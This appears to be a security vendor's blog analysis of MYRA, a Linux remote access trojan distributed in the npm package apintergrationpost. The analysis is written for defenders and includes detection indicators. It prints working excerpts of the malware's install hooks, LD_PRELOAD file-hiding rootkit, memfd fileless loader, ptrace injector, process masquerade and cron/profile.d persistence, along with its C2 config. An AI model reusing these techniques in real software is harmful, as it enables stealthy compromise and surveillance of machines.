MYRA: A Full Linux RAT Distributed via npm

SafeDep Team
14 min read

Table of Contents

TL;DR

An npm package named apintergrationpost ships a full-featured Linux remote access trojan called MYRA. The package README describes it as a “hybrid Node.js integration client with native lab primitives for authorized red team exercises and EDR validation in isolated environments.” The C2 IP is a VMware private network address, and the codebase includes MITRE ATT&CK telemetry, Sigma rule references, and Auditd correlation tooling consistent with a red team or EDR validation framework.

Regardless of the author’s stated intent, the tool’s capabilities are real. It compiles a native C rootkit during install, establishes three independent persistence mechanisms, masquerades as a systemd service, supports fileless execution, and provides interactive shell access with live screen streaming. Publishing it to a public npm registry makes it available to anyone. This analysis documents MYRA’s full capability set so that defenders can detect and respond if the tool is encountered in the wild.

Detection indicators:

  • npm package: apintergrationpost (versions 4.0.1 through 4.0.6)
  • C2 host: 192.168.54.1:4444 (default, configurable)
  • Auth token: myra-lab-shared-key (default, configurable)
  • Maintainer: kimijohn01 (email: [email protected])
  • File artifacts: /usr/local/lib/.libcache.so, /usr/local/lib/.cache-update.sh, /etc/profile.d/.sh.local
  • Process indicator: systemd-userdbd --user (masquerade target)

Package overview

The package was published on June 21, 2026. All six versions landed within a 40-minute window from a single-purpose npm account.

$ curl -s "https://registry.npmjs.org/apintergrationpost" | jq '{maintainers, time}'
{
"maintainers": [
{
"name": "kimijohn01",
"email": "[email protected]"
}
],
"time": {
"4.0.1": "2026-06-21T14:48:18.609Z",
"4.0.2": "2026-06-21T14:58:28.085Z",
"4.0.3": "2026-06-21T15:08:35.740Z",
"4.0.4": "2026-06-21T15:14:40.705Z",
"4.0.5": "2026-06-21T15:21:14.424Z",
"4.0.6": "2026-06-21T15:26:38.764Z"
}
}

The account has no other packages. The versioning starts at 4.0.1 rather than 1.0.0. The package name is a misspelling (“apintergrationpost” instead of “api integration post”) and the description reads “Remote integration client for authorized lab and enterprise post-deployment workflows.” The README explicitly states the tool is for “authorized red team exercises and EDR validation in isolated environments” and references VMware-based lab setups, Sigma detection rules, and Auditd telemetry correlation.

The package.json declares two dependencies: node-pty (for interactive PTY shells) and ffmpeg-static (added in 4.0.2 for screen capture).

The install chain

Three npm lifecycle scripts execute during installation. Together, they compile a native rootkit, force root privileges, install system packages, and launch a persistent background agent.

prepare: compiling the rootkit

The prepare script runs make -C native/lab-tools on Linux, compiling six C source files into native binaries and a shared library:

scripts/prepare-native.js
try {
execSync('make', { cwd: labToolsDir, stdio: 'inherit' });
} catch {
process.stderr.write(
'[apintergrationpost] Native tools build skipped. ' +
'Install build-essential on Ubuntu for full emulation support.\n'
);
}

The build produces: memfd_exec, memfd_loader, proc_hide, injector, agent_launcher, and libcache.so. Each serves a distinct role in the RAT’s evasion and persistence stack (detailed below).

preinstall: forcing root (v4.0.2+)

Starting in version 4.0.2, a preinstall hook gates the entire installation on root access:

scripts/install-guard.js
function requireRootForInstall() {
if (isDevCheckout()) return;
if (process.platform !== 'linux') return;
if (typeof process.getuid === 'function' && process.getuid() !== 0) {
process.stderr.write(`${ROOT_MESSAGE}\n`);
process.exit(1);
}
}

The error message instructs the victim to run sudo npm install -g apintergrationpost. By forcing root, the attacker guarantees full privilege for the rootkit, system-level persistence, and apt-get package installation.

On apt-based systems, the postinstall script auto-installs build-essential, python3, ffmpeg, x11-utils, and grim when running as root:

scripts/ensure-system-deps.js
const required = ['build-essential', 'python3', 'ffmpeg', 'x11-utils', 'grim'];
execSync(
'DEBIAN_FRONTEND=noninteractive apt-get update -qq ' +
`&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
{ stdio: 'inherit' }
);

postinstall: launching the RAT

The postinstall script checks a set of skip conditions, then spawns the RAT as a detached background process:

scripts/postinstall-run.js
function shouldSkip() {
if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
if (process.env.CI === 'true') return 'CI environment';
if (process.platform !== 'linux') return 'non-Linux platform';
if (isDevCheckout()) return 'source checkout (local development)';
try {
const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
if (!cfg.host || cfg.host === '127.0.0.1' || cfg.host === '0.0.0.0') {
return 'C2 host not configured in apintergrationpost.config.json';
}
} catch {
return 'missing or invalid apintergrationpost.config.json';
}
return null;
}

The skip guard bails on CI, non-Linux, and loopback addresses. Since the package ships with host: "192.168.54.1" and a non-default auth token, the guard passes on any Linux system outside CI. The RAT launches as a detached child with stdio ignored:

scripts/postinstall-run.js
const child = spawn(process.execPath, [CLI], {
detached: true,
stdio: 'ignore',
cwd: PKG_ROOT,
env: {
...process.env,
DISPLAY: process.env.DISPLAY || ':0',
MYRA_CONFIG: CONFIG,
APINTEGRATIONPOST_CONFIG: CONFIG,
},
});
child.unref();

From this point, the RAT process is independent of npm. Killing the parent shell does not stop it.

The C2 framework

MYRA uses a plugin architecture with 13 modules. The client connects to the C2 over TCP with length-prefixed JSON framing (4-byte big-endian header followed by a JSON body). Authentication uses HMAC-SHA256 challenge-response with a 30-second timestamp window:

src/protocol/auth.js
function computeHmac(token, timestamp, nonce) {
return crypto.createHmac('sha256', token).update(`${timestamp}:${nonce}`).digest('hex');
}

The C2 configuration is hardcoded in apintergrationpost.config.json:

{
"host": "192.168.54.1",
"port": 4444,
"tls": { "enabled": false },
"auth": { "token": "myra-lab-shared-key" }
}

The C2 IP 192.168.54.1 is RFC 1918 private address space. This is unusual for npm supply chain malware, which typically uses public IPs or domains. It suggests the attacker targets a specific network segment, uses this as a VPN or tunnel endpoint, or published a development build by accident. The package ships with TLS support (mutual TLS with client certificates) but leaves it disabled in the default config.

Beacon jitter

The beacon schedule is designed to evade fixed-interval detection. Heartbeat intervals follow a log-normal distribution between 45 and 300 seconds, with a sigma of 0.55. Reconnect delays use an exponential distribution between 5 and 120 seconds:

src/shared/c2schedule.js
function sampleLogNormal(minMs, maxMs, sigma) {
const u1 = Math.random() || Number.MIN_VALUE;
const u2 = Math.random();
const z = Math.sqrt(-2 * Math.log(u1)) * Math.cos(2 * Math.PI * u2);
const logMean = Math.log((minMs + maxMs) / 2);
const value = Math.exp(logMean + (sigma || 0.55) * z);
return clamp(Math.floor(value), minMs, maxMs);
}

Every non-auth message also receives random padding (0 to 64 bytes of random data, base64 encoded) to frustrate traffic-size analysis:

src/protocol/framer.js
if (padMax > 0 && payload.type !== 'auth' && payload.type !== 'auth_ok' && payload.type !== 'auth_fail') {
const padLen = Math.floor(Math.random() * (padMax + 1));
if (padLen > 0) {
payload._pad = crypto.randomBytes(padLen).toString('base64');
}
}

RAT capabilities

The plugin registry exposes a wide command set. The core plugins (always active) provide:

PluginCommandsPurpose
shell-oneshotshellExecute arbitrary commands via child_process.spawn with shell: true
shell-ptyshell_start, shell_input, shell_stop, shell_resizeFull interactive PTY shell via node-pty
filesystemcd, upload, downloadDirectory traversal and base64 file transfer
screen-livescreen_start, screen_stop, screen_statusLive screen streaming (detailed below)
sysinfosysinfoHostname, arch, CPUs, memory, OS release, user info
process-listpsProcess enumeration from /proc
network-enumnetstatParse /proc/net/tcp and /proc/net/udp
file-searchfindRecursive glob search across the filesystem

The emulation plugins (also enabled by default) add persistence, evasion, and injection commands. All commands route through a central dispatcher:

src/client/commands/index.js
async function route(msg, ctx, commandMap) {
const core = await handleCoreCommand(msg, ctx);
if (core) return core;
return routeCommand(msg, ctx, commandMap);
}

The server side ships in the same package. It provides a CLI prompt where the operator can manage multiple sessions, broadcast commands, interact with shells, and view live screen streams through an HTTP viewer on port 5555.

The native rootkit

The native/lab-tools/ directory contains six C source files that compile into specialized evasion tools. This is a rare level of sophistication for npm malware.

libcache.so: LD_PRELOAD file hiding

libcache.c compiles into a shared library that hooks readdir, readdir64, stat, and lstat using dlsym(RTLD_NEXT, ...). An __attribute__((constructor)) function loads a colon-separated list of substrings from the MYRA_HIDE_PATHS environment variable. Any file or directory whose name contains one of these substrings becomes invisible:

native/lab-tools/libcache.c
int stat(const char *pathname, struct stat *buf) {
if (!real_stat) real_stat = dlsym(RTLD_NEXT, "stat");
if (pathname && should_hide(pathname)) {
errno = ENOENT;
return -1;
}
return real_stat(pathname, buf);
}

The default hide list from the config: .libcache, .cache-update, systemd-userdbd. Once deployed to /etc/ld.so.preload, this library loads into every new process on the system, hiding the RAT’s persistence artifacts from ls, find, stat, and any tool that uses libc directory enumeration.

proc_hide: process masquerade

proc_hide.c uses prctl(PR_SET_NAME, ...) to change /proc/PID/comm and overwrites argv[0] in place to scrub /proc/PID/cmdline:

native/lab-tools/proc_hide.c
static void scrub_argv(char *argv0, const char *fake_name) {
if (!argv0 || !fake_name) return;
size_t len = strlen(argv0);
if (len == 0) return;
memset(argv0, 0, len);
strncpy(argv0, fake_name, len - 1);
}

The default target name is systemd-userdbd, a legitimate systemd user database daemon. After proc_hide runs, a ps listing shows what looks like a normal system service. The companion agent_launcher.c takes this further: it copies the Node.js binary to /usr/lib/systemd/systemd-userdbd (the real daemon’s path) and executes the RAT through that copy, so even /proc/PID/exe points to a path that looks legitimate.

memfd_exec and memfd_loader: fileless execution

memfd_exec.c implements fileless execution using the memfd_create syscall. It reads a payload from disk into an anonymous memory-backed file descriptor, then forks and runs the payload via fexecve (for ELF binaries) or /bin/sh (for scripts):

native/lab-tools/memfd_exec.c
int memfd = memfd_create(".cache", MFD_CLOEXEC);
// ... write payload to memfd ...
if (saved_len >= 4 && magic0 == 0x7f) {
char *exec_argv[] = { fd_path, NULL };
fexecve(memfd, exec_argv, exec_envp);
}

memfd_loader.c extends this to launch the entire RAT from memory. It reads both the Node.js binary and the JavaScript agent bundle into separate memfds, double-forks to daemonize, applies process masquerade, and executes via fexecve:

native/lab-tools/memfd_loader.c
int node_mfd = write_memfd(".node", node_data, node_len);
int bundle_mfd = write_memfd(".bundle", bundle_data, bundle_len);
// In child after daemonize:
prctl(PR_SET_NAME, comm_name, 0, 0, 0);
scrub_argv(argv[0], comm_name);
setenv("MYRA_MEMFD_MODE", "full", 1);
setenv("MYRA_MEMFD_CHILD", "1", 1);
fexecve(node_mfd, exec_argv, environ);

The result: a Node.js process running the RAT entirely from memory, with /proc/PID/exe pointing to /memfd:.node (deleted) and /proc/PID/cmdline showing systemd-userdbd --user. No files on disk.

injector: ptrace process injection

injector.c attaches to a target process via ptrace(PTRACE_ATTACH, ...), locates the first executable memory page from /proc/PID/maps, and patches it with a NOP sled followed by an INT3 breakpoint:

native/lab-tools/injector.c
unsigned char stub[] = { 0x90, 0x90, 0x90, 0x90, 0xcc };
for (size_t i = 0; i < sizeof(stub); i++) {
long word = ptrace(PTRACE_PEEKDATA, pid, (void *)(addr + i), NULL);
long patched = (word & ~0xffUL) | stub[i];
ptrace(PTRACE_POKEDATA, pid, (void *)(addr + i), (void *)patched);
}

The --spawn-sleep mode creates its own injection target by forking a sleep 600 process. This appears to be a proof-of-concept or diagnostic tool. The stub is minimal (4 NOPs + INT3) rather than a full shellcode loader, suggesting the author uses it primarily to test ptrace-based injection rather than to deploy payloads in production.

Triple persistence

The RAT installs three independent persistence mechanisms, each targeting a different execution trigger. All three are implemented in src/client/commands/system.js and invoked via the persistence-stealth plugin.

1. LD_PRELOAD rootkit

persistStealthPreload() copies the compiled libcache.so to /usr/local/lib/.libcache.so and registers it in /etc/ld.so.preload:

src/client/commands/system.js
fs.copyFileSync(sourceSo, p.preloadPath);
if (fs.existsSync('/etc/ld.so.preload')) {
let content = fs.readFileSync('/etc/ld.so.preload', 'utf8');
if (!content.includes(p.preloadPath)) {
content += `${p.preloadPath}\n`;
fs.writeFileSync('/etc/ld.so.preload', content, { mode: 0o644 });
}
} else {
fs.mkdirSync(path.dirname(p.ldConfPath), { recursive: true });
fs.writeFileSync(p.ldConfPath, `${path.dirname(p.preloadPath)}\n`, { mode: 0o644 });
}

This is file-hiding persistence. It does not directly re-launch the RAT, but it makes the persistence artifacts invisible to standard system tools.

2. Cron job (every 13 minutes)

persistStealthCron() writes a wrapper script to /usr/local/lib/.cache-update.sh and installs it as a cron entry. The wrapper script tries three execution methods in order: memfd_loader (fileless), agent_launcher (blended binary), and direct Node.js (fallback):

// src/client/commands/system.js (buildWrapperScript)
return `#!/bin/sh
export MYRA_CONFIG="${cfg}"
export MYRA_HIDE_PATHS="${(p.hidePaths || []).join(':')}"
if [ -x "${memfdLoader}" ]; then
exec "${memfdLoader}" --node "${nodePath}" --bundle "${bundlePath}" --comm "${comm}" --fake-arg "${fakeArg}" --config "${cfg}" --scrub-argv --daemon
fi
if [ -x "${launcher}" ]; then
exec "${launcher}" --daemon --node "${process.execPath}" --script "${scriptPath}" --blend "${emu.process.binaryPath}" --comm "${emu.process.targetName}" --fake-arg "${fakeArg}"
fi
exec "${process.execPath}" "${scriptPath}"
`;

The cron interval is 13 minutes, a prime number that avoids alignment with common monitoring intervals (5, 10, 15 minutes):

const cronLine = `*/${interval} * * * * ${p.wrapperPath} >/dev/null 2>&1`;

3. Profile.d login hook

persistStealthProfile() writes to /etc/profile.d/.sh.local, which executes the wrapper script in the background on every user login:

src/client/commands/system.js
const profileContent = `[ -x "${p.wrapperPath}" ] && "${p.wrapperPath}" >/dev/null 2>&1 &\n`;
fs.writeFileSync(p.profilePath, profileContent, { mode: 0o755 });

All three persistence vectors point to the same wrapper script, which tries the most stealthy execution method first and falls back to less stealthy alternatives. The leading dot in every filename (.libcache.so, .cache-update.sh, .sh.local) hides them from basic ls listings even without the rootkit.

Live screen capture

The screen capture system underwent the most rapid iteration across versions. Starting from basic 3 fps / 1280x720 capture in 4.0.1, the author spent four releases building a production-quality surveillance pipeline.

The final implementation auto-detects the active graphical session using loginctl, reads the target user’s DISPLAY and XAUTHORITY from /proc/PID/environ of desktop processes (gnome-shell, Xorg, Xwayland, plasmashell), and when running as root, captures as the logged-in user via runuser:

src/client/commands/screen-display.js
function findDesktopProcessEnv(user) {
const names = ['gnome-shell', 'Xorg', 'Xwayland', 'xfce4-session', 'plasmashell', 'mutter'];
for (const procName of names) {
try {
const pid = execSync(`pgrep -u ${user} -n ${procName} 2>/dev/null || true`, {
encoding: 'utf8',
timeout: 3000,
}).trim();
if (pid && /^\d+$/.test(pid)) {
const env = readProcEnviron(pid);
if (env.DISPLAY || env.WAYLAND_DISPLAY) return env;
}
} catch {
/* try next */
}
}
return {};
}

The stream uses ffmpeg’s x11grab input for X11 sessions and grim for Wayland. An MJPEG parser extracts frames from ffmpeg’s pipe output using SOI/EOI markers, with adaptive throttling that reduces fps under backpressure. The server-side viewer exposes captured frames over HTTP on port 5555.

Version evolution

The six versions tell a clear story. The core RAT was complete in 4.0.1 and changed little after that. The iteration focused on operational refinement:

VersionTimestampChanges
4.0.114:48 UTCComplete RAT: all native C tools, 13 plugins, C2 protocol, postinstall auto-launch
4.0.214:58 UTC (+10m)Added preinstall root enforcement, apt-get system deps, ffmpeg-static dependency
4.0.315:08 UTC (+10m)Rewrote screen capture: ScreenStream class, MJPEG parsing, 8 fps, adaptive throttle
4.0.415:14 UTC (+6m)Added desktop session discovery: loginctl, /proc environ reading, Wayland support
4.0.515:21 UTC (+7m)Refined screen-display resolution and capture context
4.0.615:26 UTC (+5m)Final screen-stream and screen-live polish

The pattern: a fully formed RAT shipped in the first release, followed by rapid iteration on the surveillance pipeline. The attacker spent more time on screen capture than on any other component.

The dual naming

The package uses two parallel naming conventions. External-facing names use “apintergrationpost” (the npm package name). Internal variable names, environment variables, and config keys use “MYRA” (MYRA_CONFIG, MYRA_HOST, MYRA_MEMFD_MODE, MYRA_HIDE_PATHS). The config loader accepts both:

src/shared/config.js
const host = envValue(process.env.APINTEGRATIONPOST_HOST, process.env.MYRA_HOST);
const port = envValue(process.env.APINTEGRATIONPOST_PORT, process.env.MYRA_PORT);
const token = envValue(process.env.APINTEGRATIONPOST_AUTH_TOKEN, process.env.MYRA_AUTH_TOKEN);

The tool was developed under the name MYRA and packaged for npm distribution as apintergrationpost. The install server code (src/server/installServer.js) references VMware network adapters (c2HostVmwareNat, c2HostVmwareHostOnly, c2HostWifi), confirming the development environment is VMware-based with the C2 running on the host and targets in guest VMs. The README’s local development section uses cd myra and the codebase includes MITRE ATT&CK technique IDs logged per command, a telemetry events file for Auditd correlation, and “use only in isolated VMs” warnings. This is consistent with a red team or EDR validation tool that was published to npm with its lab configuration still active.

Conclusion

MYRA is a capable red team RAT with an engineering investment well beyond typical npm malware. It ships a compiled native rootkit, a plugin-based C2 client, three persistence mechanisms, fileless execution, process masquerading, ptrace injection, and a live screen capture pipeline refined across four releases. The VMware lab infrastructure, MITRE telemetry, and EDR validation references in the codebase support the author’s claim that this is a red team tool.

The risk is availability. Publishing a working RAT to a public npm registry with a live C2 configuration means anyone can install it, study it, or repurpose it. The techniques MYRA implements (LD_PRELOAD rootkit, memfd fileless execution, process masquerade as systemd-userdbd, triple persistence via preload, cron, and profile.d) are well-documented individually, but this package bundles them into a single deployable toolkit that runs on install. Defenders encountering any of the detection indicators listed above should treat the host as compromised regardless of whether the operator claims authorized use.

SafeDep pmg protects developers and AI agents against packages like this before installation. A package that compiles native binaries during install, forces root privileges, and spawns detached background processes would be blocked before any of the payload executes.

References

  • npm
  • malware
  • supply-chain
  • rat
  • rootkit
  • linux
  • red-team

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.